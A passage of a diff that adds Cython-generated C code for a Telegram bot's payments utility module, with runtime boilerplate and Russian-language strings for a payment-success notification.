__Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.utils" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.utils" +extern int __pyx_module_is_main_handlers__payments__utils; +int __pyx_module_is_main_handlers__payments__utils = 0; + +/* Implementation of "handlers.payments.utils" */ +/* #### Code section: global_var ### */ +/* #### Code section: string_decls ### */ +static const char __pyx_k_e[] = "e"; +static const char __pyx_k__2[] = "\360\237\221\244 \320\233\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202"; +static const char __pyx_k__3[] = "\320\222\320\260\321\210 \320\261\320\260\320\273\320\260\320\275\321\201 \321\203\321\201\320\277\320\265\321\210\320\275\320\276 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275 \320\275\320\260 "; +static const char __pyx_k__4[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\241\320\277\320\260\321\201\320\270\320\261\320\276 \320\267\320\260 \320\276\320\277\320\273\320\260\321\202\321\203!"; +static const char __pyx_k__5[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\321\202\320\277\321\200\320\260\320\262\320\272\320\265 \321\203\320\262\320\265\320\264\320\276\320\274\320\273\320\265\320\275\320\270\321\217 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\216 "; +static const char __pyx_k__6[] = ": "; +static const char __pyx_k__7[] = "."; +static const char __pyx_k__9[] = "?"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_bot[] = "bot"; +static const char __pyx_k_int[] = "int"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_float[] = "float"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_chat_id[] = "chat_id"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_profile[] = "profile"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_send_message[] = "send_message"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_handlers_payments_utils_py[] = "handlers/payments/utils.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, double __pyx_v_amount); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_n_s__9; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_bot; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_s_chat_id; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_float; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_kp_s_handlers_payments_utils_py; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_int; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_u_profile; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_message; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__8; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if 